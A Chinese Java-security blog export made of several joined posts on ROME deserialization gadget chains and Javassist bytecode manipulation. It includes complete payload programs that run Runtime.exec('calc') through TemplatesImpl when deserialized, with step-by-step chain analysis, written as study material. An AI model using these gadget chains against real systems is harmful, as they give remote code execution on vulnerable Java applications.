来构建这样一个类,用 javassist 来操作字节码,添加静态代码块,继承父类,而不需要实现父类的方法,具体办法如下: 123456789101112// 获取类池ClassPool classPool = ClassPool.getDefault();// 创建一个名为 Error 的类CtClass error = classPool.makeClass("Error");// 向 Error 对象中添加静态代码块CtConstructor constructor = error.makeClassInitializer();constructor.setBody("Runtime.getRuntime().exec(\\"calc\\");");// 设置 Error 的父类为 AbstractTransletCtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");error.setSuperclass(abstractTranslet);// 将 Error 对象输出成字节数组byte[] errorBytecode = error.toBytecode(); 这样创建的对象中没有重写父类 AbstractTranslet 的两个方法,缩短了字节码长度。以后再也不用手写 Eval 类了。 变种利用链分析核心依然是 TemplatesImpl#getOutputProperties() 。后面的 payload 统一用 javassist 来创建类。 EqualsBean#hashCode() 链用 EqualsBean#hashCode() 替换掉 ObjectBean#hashCode() 即可。 EqualsBean#hashCode() 内容如下: 123public int hashCode() { return beanHashCode();} payload1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class EqualsBean_payload { public static void main(String[] args) throws Exception { // 获取类池 ClassPool classPool = ClassPool.getDefault(); // 创建一个名为 Error 的类 CtClass error = classPool.makeClass("Error"); // 向 Error 对象中添加静态代码块 CtConstructor constructor = error.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\\"calc\\");"); // 设置 Error 的父类为 AbstractTranslet CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); error.setSuperclass(abstractTranslet); // 将 Error 对象输出成字节数组 byte[] errorBytecode = error.toBytecode(); // 新建利用链 TemplatesImpl 对象 TemplatesImpl templatesImpl = new TemplatesImpl(); setValue(templatesImpl, "_name", "aaa"); setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode}); setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); // EqualsBean 的 beanHashCode() 方法会调用其成员属性 _obj 的 toString() 方法 // EqualsBean 的 HashCode() 方法又会调用 beanHashCode() 方法 // 为防止调用 put 方法时提前命令执行,先传入一个普通的 EqualsBean HashMap hashMapNull = new HashMap(); EqualsBean equalsBean = new EqualsBean(HashMap.class, hashMapNull); // HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法 HashMap hashMap = new HashMap(); hashMap.put(equalsBean, "test"); // 反射修改 ObjectBean 的属性值 setValue(equalsBean, "_obj", toStringBean); // 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap); oos.flush(); oos.close(); // 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } // 反射设置属性值的过程可以抽离成一个方法 public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }} HashTable 链入口类改用 HashTable 即可。 调用链如下: Hashtable#readObject() Hashtable#reconstitutionPut() EqualsBean#hashCode() Hashtable 的 reconstitutionPut() 方法会调用 key 的 hashCode() 方法: payload123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Hashtable;public class Hashtable_payload { public static void main(String[] args) throws Exception { // 获取类池 ClassPool classPool = ClassPool.getDefault(); // 创建一个名为 Error 的类 CtClass error = classPool.makeClass("Error"); // 向 Error 对象中添加静态代码块 CtConstructor constructor = error.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\\"calc\\");"); // 设置 Error 的父类为 AbstractTranslet CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); error.setSuperclass(abstractTranslet); // 将 Error 对象输出成字节数组 byte[] errorBytecode = error.toBytecode(); // 新建利用链 TemplatesImpl 对象 TemplatesImpl templatesImpl = new TemplatesImpl(); setValue(templatesImpl, "_name", "aaa"); setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode}); setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); // EqualsBean 的 beanHashCode() 方法会调用其成员属性 _obj 的 toString() 方法 // EqualsBean 的 HashCode() 方法又会调用 beanHashCode() 方法 // 为防止调用 put 方法时提前命令执行,先传入一个普通的 EqualsBean HashMap hashMapNull = new HashMap(); EqualsBean equalsBean = new EqualsBean(HashMap.class, hashMapNull); // Hashtable 的 reconstitutionPut() 方法会调用 key 的 hashCode() 方法 // Hashtable 的 readObject() 方法会调用 reconstitutionPut() 方法 Hashtable<Object, Object> hashtable = new Hashtable<>(); hashtable.put(equalsBean, "test"); // 反射修改 ObjectBean 的属性值 setValue(equalsBean, "_obj", toStringBean); // 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashtable); oos.flush(); oos.close(); // 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } // 反射设置属性值的过程可以抽离成一个方法 public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }} BadAttributeValueExpException 链入口类改用 BadAttributeValueExpException 即可。CC5 链便是将这个类作为入口,不妨再复习一下。 BadAttributeValueExpException 的 readObject 方法调用了 valObj 的 toString 方法: 1234567891011121314151617181920212223private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {\t// valObj 是从输入流中读取到的对象的 val 字段值 ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { // 这里调用了 valObj 的 toString 方法 val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); }} valObj 是从输入流中读取到的对象的 val 字段值,即 BadAttributeValueExpException 对象的 val 属性值。 不能用构造方法给 val 赋值,因为构造方法会提前调用 val 的 toString 方法,造成命令执行: 123public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString();} 所以这里选择反射修改 val 的值,将 val 的值设置成 ToStringBean 对象即可。 payload1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class BadAttributeValueExpException_payload { public static void main(String[] args) throws Exception { // 获取类池 ClassPool classPool = ClassPool.getDefault(); // 创建一个名为 Error 的类 CtClass error = classPool.makeClass("Error"); // 向 Error 对象中添加静态代码块 CtConstructor constructor = error.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\\"calc\\");"); // 设置 Error 的父类为 AbstractTranslet CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); error.setSuperclass(abstractTranslet); // 将 Error 对象输出成字节数组 byte[] errorBytecode = error.toBytecode(); // 新建利用链 TemplatesImpl 对象 TemplatesImpl templatesImpl = new TemplatesImpl(); setValue(templatesImpl, "_name", "aaa"); setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode}); setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); // BadAttributeValueExpException 的 readObject 方法会调用 val 属性的 toString 方法 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new HashMap()); // 为防止调用构造方法命令执行,选择反射修改 val 属性值 setValue(badAttributeValueExpException, "val", toStringBean); // 序列化成字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close(); // 反序列化字节数组 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } // 反射设置属性值的过程可以抽离成一个方法 public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }} HotSwappableTargetSource 链spring 原生的 toString 利用链。 调用链如下 HashMap.readObject HashMap.putVal HotSwappableTargetSource.equals XString.equals ToStringBean.toString 这个链子由于作者第一次接触,需要完整分析一下,内容过长,所以单独写了一篇文章。 参见:漏洞篇 - Rome 链之 HotSwappableTargetSource 利用链 参考文章Java 安全学习 —— ROME 反序列化 ROME 反序列化","categories":["Java 安全"]},{"title":"基础篇 - Javassist 使用指南","path":"/2024/06/07/Java 安全/基础篇-javassist用法指南/","content":"Javassist 是一个用于操作 Java 字节码的类库。Java 字节码存储在类文件的二进制文件中。每个类文件都包含一个 Java 类或接口。类 Javassist.CtClass 是对类文件的抽象表示。(编译时类 CtClass )对象是处理类文件的句柄(句柄 Handle 是一个是用来标识对象或者项目的标识符)。 Javassist 介绍Javassist 是一个用于操作 Java 字节码的类库。Java 字节码存储在类文件的二进制文件中。每个类文件都包含一个 Java 类或接口。类 Javassist.CtClass 是对类文件的抽象表示。(编译时类 CtClass )对象是处理类文件的句柄(句柄 Handle 是一个是用来标识对象或者项目的标识符)。 用法详解依赖导入首先需要导入 Javassist 依赖: 12345<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version></dependency> 入门案例以下是一个简单的入门案例,演示如何使用 Javassist 动态创建一个类并添加方法: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950import javassist.*;public class javassistTest { public static void createPseson() throws Exception { // 1. 获取类池 ClassPool pool = ClassPool.getDefault(); // 2. 创建一个 Person 类 CtClass cc = pool.makeClass("Person"); // 3. 添加一个 name 属性 CtField param = new CtField(pool.get("java.lang.String"), "name", cc); // 访问级别是 private param.setModifiers(Modifier.PRIVATE); // 初始值是 "zhangsan" cc.addField(param, CtField.Initializer.constant("zhangsan")); // 4. 生成 getter、setter 方法 cc.addMethod(CtNewMethod.setter("setName", param)); cc.addMethod(CtNewMethod.getter("getName", param)); // 5. 添加无参的构造函数 CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); cons.setBody("{name = \\"lisi\\";}"); cc.addConstructor(cons); // 6. 添加有参的构造函数 cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc); // $0=this / $1,$2,$3... 代表方法参数 cons.setBody("{$0.name = $1;}"); cc.addConstructor(cons); // 7. 创建一个名为 printName 的方法,无参数,无返回值,输出 name 值 CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc); ctMethod.setModifiers(Modifier.PUBLIC); ctMethod.setBody("{System.out.println(name);}"); cc.addMethod(ctMethod); // 指定输出 .class 文件的路径 cc.writeFile("./src/main/java/"); } public static void main(String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } }} 上面代码运行后会在 ./src/main/java/ 路径下生成一个 Person.class 文件,内容如下: 12345678910111213141516171819202122232425262728//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//public class Person { private String name = "zhangsan"; public void setName(String var1) { this.name = var1; } public String getName() { return this.name; } public Person() { this.name = "lisi"; } public Person(String var1) { this.name = var1; } public void printName() { System.out.println(this.name); }} 类池 ClassPoolClassPool是 CtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用。需要注意的是 ClassPool 会在内存中维护所有被它创建过的 CtClass,当 CtClass 数量过多时,会占用大量的内存,API 中给出的解决方案是有意识的调用 CtClass 的 detach() 方法以释放内存。 主要方法有以下几个: getDefault:获取默认的 ClassPool 对象。 get、getCtClass:根据类名获取 CtClass 对象,用于操作类的字节码。 makeClass:创建一个新的 CtClass 对象,用于新增类。 insertClassPath、appendClassPath:插入类搜索路径,提供给类加载器用于加载类。 toClass:将修改后的 CtClass 加载至当前线程的上下文类加载器中。通过调用 CtClass 的 toClass() 方法实现了将 CtClass 转换为 Class 对象,这样就可以在运行时使用这个类。需要注意的是一旦调用该方法,则无法继续修改已经被加载的 Class 对象。 CtClass 类CtClass 是 Javassist 中的一个抽象类,用于表示一个类文件。 CtClass 需要关注的方法: freeze:冻结一个类,使其不可修改。 isFrozen:判断一个类是否已被冻结。 prune:删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用。 defrost:解冻一个类,使其可以被修改。如果事先知道一个类会被 defrost , 则禁止调用 prune 方法。 detach:将该 class 从 ClassPool 中删除。 setSuperclass:设置当前类的父类。 writeFile:将 CtClass 对象转换为类文件并将其写入本地磁盘。 toClass:通过类加载器加载该 CtClass ,示例:Class clazz = cc.toClass(); 。 toBytecode:获取 CtClass 的字节码,示例:byte[] b = cc.toBytecode(); 。 CtMethod 和 CtFieldCtMethod 和 CtField 分别代表 Java 类中的方法和字段。通过 CtClass 对象,可以获取、添加、删除或修改类中的方法和字段。这些对象提供了丰富的 API ,用于操作方法和字段的各种属性,如访问修饰符、名称、返回类型等。 CtMethod 中的一些重要方法: insertBefore:在方法的起始位置插入代码。 insterAfter:在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到 exception 。 insertAt:在指定的位置插入代码。 setBody:将方法的内容设置为要写入的代码,当方法被 abstract 修饰时,该修饰符被移除。 make:创建一个新的方法。 利用 CtMethod 中的 insertBefore,insterAfter,insertAt 等方法可以实现 AOP 增强功能。 Javassist 基本操作定义一个新类要从头开始定义新类,ClassPool 中的 makeClass 必须被调用。. 12ClassPool pool = ClassPool.getDefault();CtClass cc = pool.makeClass("Point"); 该程序定义了一个不包含任何成员的 Point 类。Point 类的成员方法可以被 CtNewMethod中 的工厂方法声明,然后用 CtClass 中的 addMethod 方法追加到 Point 类中。 makeClass 方法无法创建一个新的接口,但是 ClassPool 中的 makeInterface 方法可以创建。接口中的成员方法可以被 CtNewMethod 中的 abstractMethod 方法创建。这样去标记一个接口的方法为抽象方法。 冻结类如果一个 CtClass 对象由 writeFile 方法、toClass 方法或 toBytecode 方法转换成一个类文件,Javassist 将会冻结那个 CtClass 对象。从而不允许对那个 CtClass 对象进行进一步的修改。这是为了在开发人员尝试修改已加载的类文件时警告开发人员,因为 JVM 不允许重新加载类。译者注:Java 规范中规定,同一个 ClassLoader 对象中只能加载一次相同的 class 。 冻结的 CtClass 可以解冻,以便允许修改类定义。例如: 12345CtClasss cc = ...; // 获取到 CtClass 对象 : // 一系列操作cc.writeFile(); // 将 CtClass 对象转换成类文件,这步完成后 CtClass 对象将被冻结cc.defrost(); // 解冻cc.setSuperclass(...); // 解冻后又可以对 CtClass 对象进行操作 指定类的加载路径默认的 ClassPool 对象由静态方法 ClassPool.getDefault() 返回,这个方法的搜索路径与底层 JVM ( Java virtual machine ) 的搜索路径相同。 如果程序在 JBoss 和 Tomcat 等 Web 应用程序服务器上运行,ClassPool 对象可能无法找到用户的类 ,因为对于这样的 Web 应用程序,服务器会使用多个类加载器以及系统类加载器加载。这种情况下,必须在 ClassPool 中注册一个额外的类路径,用于获取 CtClass 对象。 本地路径 假设 pool 是一个 ClassPool 对象,可以指定一个类的搜索路径: 12ClassPool pool = ClassPool.getDefault();pool.insertClassPath("/usr/local/javalib"); URL 路径 搜索路径不仅可以是一个目录,还可以是 URL: 12ClassPath cp = new URLClassPath("www.javassist.org", 80, "/java/", "org.javassist.");pool.insertClassPath(cp); 该程序将 http://www.javassist.org:80/java/ 添加到类的搜索路径中。此 URL 仅用于搜索属于 org.javassist 包的类。例如,要加载一个类 org.javassist.test.Main ,它的类文件将从 http://www.javassist.org:80/java/org/javassist/test/Main.class 获取。 从字节数组中获取 CtClass 对象 此外还可以直接将字节数组赋予 ClassPool 对象,然后根据那个数组构造一个 CtClass 对象: 12345678910// 假设这是我们要从中读取的类的字节数组byte[] classBytes = getClassBytes(); // 这个方法应该返回实际的字节数组String className = "com.example.MyClass"; // 类的完全限定名// 获取默认的类池ClassPool pool = ClassPool.getDefault();// 将字节数组插入到类路径中pool.insertClassPath(new ByteArrayClassPath(className, classBytes));// 从类池中获取 CtClass 对象CtClass ctClass = pool.get(className); 获得的 CtClass 对象就是 className 的字节码文件表示的类。如果 CtClass 的 get 方法被调用,并且参数 className 与 ByteArrayClassPath 中的 className 相同,那么 ClassPool 将会从 ByteArrayClassPath 给的路径中去读取类文件。 从指定输入流中获取 CtClass 对象 12345678// 获取默认的类池ClassPool pool = ClassPool.getDefault();// 指定的输入流,例如从一个文件中读取字节码InputStream inputStream = new FileInputStream("path/to/YourClass.class");// 从输入流中获取 CtClass 对象CtClass ctClass = pool.makeClass(inputStream);// 关闭输入流inputStream.close(); 添加、删除、修改字段要在类中添加、删除或修改属性,需要使用 CtField 对象。假设已经获取到了一个名为 existingClass 的 CtClass 对象,以下示例展示了如何实现这些操作。 添加字段 123456// 创建一个新的 CtField 对象,表示一个类型为 int,名称为 count,所属类为 existingClass 的字段CtField newField = new CtField(CtClass.intType, "count", existingClass);// 将这个字段的修饰符设置为 private newField.setModifiers(Modifier.PRIVATE);// 将新创建的字段添加到 existingClass 类中existingClass.addField(newField); 删除字段 1234// 从 existingClass 对象中获取名为 fieldName 的字段CtField fieldToRemove = existingClass.getField("fieldName");// 移除该字段existingClass.removeField(fieldToRemove); 修改字段 1234// 从 existingClass 对象中获取名为 fieldName 的字段CtField fieldToModify = existingClass.getField("fieldName");// 修改该字段的修饰符为 publicfieldToModify.setModifiers(Modifier.PUBLIC); 添加、删除、修改方法要在类中添加、删除或修改方法,需要使用 CtMethod 对象。同样假设已经获取到了一个名为 existingClass 的 CtClass 对象,以下示例展示了如何实现这些操作。 添加方法 12CtMethod newMethod = CtNewMethod.make("public int add(int a, int b) { return a + b; }", existingClass);existingClass.addMethod(newMethod); 删除方法 12CtMethod methodToRemove = existingClass.getDeclaredMethod("methodName");existingClass.removeMethod(methodToRemove); 修改方法 12CtMethod methodToModify = existingClass.getDeclaredMethod("methodName");methodToModify.setBody("{ return $1 * $1; }"); 添加构造方法假设已经获取到了一个名为 existingClass 的 CtClass 对象,为它创建一个具有两个参数(int 和 double)的构造方法,返回一个 CtConstructor 构造方法对象: 1CtConstructor constructor = new CtConstructor(new CtClass[]{CtClass.intType, CtClass.doubleType}, ctClass); 使用 setBody 方法设置构造方法的内容,$1 和 $2 分别代表构造方法的第一个和第二个参数: 1constructor.setBody("{ this.myInt = $1; this.myDouble = $2; }"); 使用 addConstructor 方法将创建的构造方法添加到 existingClass 对象中: 1existingClass.addConstructor(constructor); 创建静态代码块并添加内容假设已经获取到了一个名为 existingClass 的 CtClass 对象,在其中创建一个静态初始化块需要用到 CtClass 的 makeClassInitializer 方法,方法的返回结果用 CtConstructor 对象接收: 1CtConstructor constructor = existingClass.makeClassInitializer(); CtConstructor 对象的 setBody 方法用于设置静态代码块中的内容: 1constructor.setBody("Runtime.getRuntime().exec(\\"calc\\");"); 参考文章【 Javassist 官方文档翻译】第一章 读写字节码 一文掌握 Javassist :Java 字节码操作神器详解 javassist 使用全解析","categories":["Java 安全"]},{"title":"漏洞篇 - Rome 链之 HotSwappableTargetSource 利用链","path":"/2024/06/07/Java 安全/漏洞篇-Rome链之HotSwappableTargetSource链/","content":"HotSwappableTargetSource 是在 Spring AOP 中出现的一个类。作用是可以在代理 bean 运行过程中,动态更新实际 bean 对象。HotSwappableTargetSource 类实现了 TargetSource 接口。对外暴露 getTarget 方法,提供真正的 target 对象。再说的明白一点,HotSwappableTargetSource 是对真正 target 对象的封装。在 Spring 的源码中,体现在 JdkDynamicAopProxy 中的 invoke 方法中。 HotSwappableTargetSource 利用链spring 原生的 toString 利用链。 调用链如下: HashMap.readObject HashMap.putVal HotSwappableTargetSource.equals XString.equals ToStringBean.toString HotSwappableTargetSource 介绍HotSwappableTargetSource 是在 Spring AOP 中出现的一个类。作用是可以在代理 bean 运行过程中,动态更新实际 bean 对象。HotSwappableTargetSource 类实现了 TargetSource 接口。对外暴露 getTarget 方法,提供真正的 target 对象。再说的明白一点,HotSwappableTargetSourc 是对真正 target 对象的封装。在 Spring 的源码中,体现在 JdkDynamicAopProxy 中的 invoke 方法中。 HotSwappableTargetSource 类比较特殊的一点是它的 hashcode 方法,无论这个类的对象属性中写入了什么,调用这个对象的 hashcode 方法都会返回相同的结果: 这就为后面解决 hash 冲突提供了思路。 摘自 HotSwappableTargetSource 的使用 环境搭建需要导入 Spring 依赖: 12345678910111213141516<dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>5.3.28</version></dependency><!-- https://mvnrepository.com/artifact/org.springframework/spring-beans --><dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.3.28</version></dependency><dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.28</version></dependency> XString#equals(Object)这个方法会调用参数 obj2 对象的 toString() 方法: 12345678910111213141516public boolean equals(Object obj2){ if (null == obj2) return false; // In order to handle the 'all' semantics of // nodeset comparisons, we always call the // nodeset function. else if (obj2 instanceof XNodeSet) return obj2.equals(this); else if(obj2 instanceof XNumber) return obj2.equals(this); else // 调用 obj2 的 toString() 方法 return str().equals(obj2.toString());} 所以只需要传入一个 ToStringBean 对象即可。 HotSwappableTargetSource#equals(Object)HotSwappableTargetSource 的 equals 方法会调用其成员属性 target 的 equals 方法: 12345@Overridepublic boolean equals(Object other) { return (this == other || (other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource) other).target)));} this.target 可以在构造方法中赋值: 1234public HotSwappableTargetSource(Object initialTarget) { Assert.notNull(initialTarget, "Target object must not be null"); this.target = initialTarget;} 接下来我们需要对这段代码中的判断逻辑进行一个分析: this == other:首先检查 this 和 other 是否是同一个对象引用。如果是,直接返回 true。 other instanceof HotSwappableTargetSource:检查 other 是否是 HotSwappableTargetSource 对象,如果不是,则整个表达式短路,返回 false。 this.target.equals(((HotSwappableTargetSource) other).target):将 other 强制转换为 HotSwappableTargetSource 类型,由于前面的 instanceof 检查已经保证了 other 确实是 HotSwappableTargetSource 对象,这个转换是没问题的,最后调用 equals 方法比较 this 对象的 target 属性与 other 对象的 target 属性是否相等。 所以这个方法的参数 other 需要是一个 HotSwappableTargetSource 对象,且 other 的 target 属性值是 ToStringBean 对象。而 this.target 需要是一个 XString 对象。 HashMap#putVal(int, K, V, boolean, boolean)HashMap 的 putVal 方法会调用参数 key 的 equals 方法: 123456789101112131415161718192021222324252627282930313233343536373839404142final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { Node<K,V>[] tab; Node<K,V> p; int n, i; if ((tab = table) == null || (n = tab.length) == 0) n = (tab = resize()).length; if ((p = tab[i = (n - 1) & hash]) == null) tab[i] = newNode(hash, key, value, null); else { Node<K,V> e; K k; if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k)))) // 调用 key 的 equals 方法 e = p; else if (p instanceof TreeNode) e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value); else { for (int binCount = 0; ; ++binCount) { if ((e = p.next) == null) { p.next = newNode(hash, key, value, null); if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st treeifyBin(tab, hash); break; } if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) break; p = e; } } if (e != null) { // existing mapping for key V oldValue = e.value; if (!onlyIfAbsent || oldValue == null) e.value = value; afterNodeAccess(e); return oldValue; } } ++modCount; if (++size > threshold) resize(); afterNodeInsertion(evict); return null;} 值得注意的是,这里要想调用到 key.equals(k) ,需要经过一些判断。 这里在将传入的键值对存入 Node<K,V>[] tab 数组时,是这样计算下标的:tab[i = (n - 1) & hash],也就是说下一个键值对应该是插在下标为 i 的地方,如果这个下标为 i 的地方没有值,则插入,但如果要插入的键值对的键和已经存在的键相同,那么就会造成 hash 冲突,进入判断,导致 key.equals(k) 执行。 在上一步的分析中我们知道 HotSwappableTargetSource 的 equals 方法会调用其成员属性 target 的 equals 方法,而 HotSwappableTargetSource 的 equals 方法的参数也需要是一个 HotSwappableTargetSource 对象,为了构造这个条件,那么: key.equals(k) 这个式子中的 key 和 k 都需要是 HotSwappableTargetSource 对象,且 key.target 是一个 XString 对象,k.target 是一个 ToStringBean 对象。 在这里的 hash 冲突中,k 是已经存在于数组中的 key ,而 key 是传入的,所以 k 对应的键值对要先被 put 进去,然后再 put key对应的键值对。 如下所示,h1.target 是一个 ToStringBean 对象,h2.target 是一个 XString 对象: hashMap.put(h1, "test1"); hashMap.put(h2, "test2"); 反序列化调试 第一次进入 putval 方法时插入的下标为 2 : 第二次进入 putval 方法时正好取到了这个 2 : 可以看到 i 经过 hash 计算后值是 2 ,所以 p 就取到了下标为 2 的元素,然后一对比,发现两个键值对 hash 相同,但是两个键值对的 key 又不是同一个地址引用( == 比较内存地址是否相同),所以就调用到了 key.equals(k) 。 然后就是一些疑问的解答: 为什么第二次调用 putval 这个下标 i 正好取到上一个插入的下标呢? 猜测这是 HashMap 的一种机制,HashMap 中不允许有重复的键,如果插入的两个键值对的键相同,则只会对值做一个更新。这里的逻辑大概就是如果有重复的键,那么经过一系列 Hash 计算后这个下标 i 一定会取到数组中已经存在的键相同的键值对。这是因为当初存入的键值对的下标就是根据键的一些 hash 特征确定的,如果键的 hash 特征相同,再计算一次下标,取到的下标自然就相同了。(不保证一定正确) 为什么 HashMap 要这样计算下一个要插入的键值对的下标,而不是老老实实把下标加一然后插入呢? 如果插入的键值对按顺序排列,那么为了避免重复的键出现,每次插入都需要遍历一次集合。用这种方法计算下标,可以快速确定重复的键的位置,而不需要对集合进行遍历,但是会使得插入的下标无规律,有大量空间没有利用。这也是一种典型的用空间换时间的做法。 HashMap#readObject(java.io.ObjectInputStream)HashMap 的 readObject 调用了 putVal 方法: 1234567891011121314151617181920212223242526272829303132333435363738394041private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); // 调用了 putVal 方法 putVal(hash(key), key, value, false, false); } }} 调用栈总结12345678910111213HashMap.readObject(java.io.ObjectInputStream)HashMap.putVal(int, K, V, boolean, 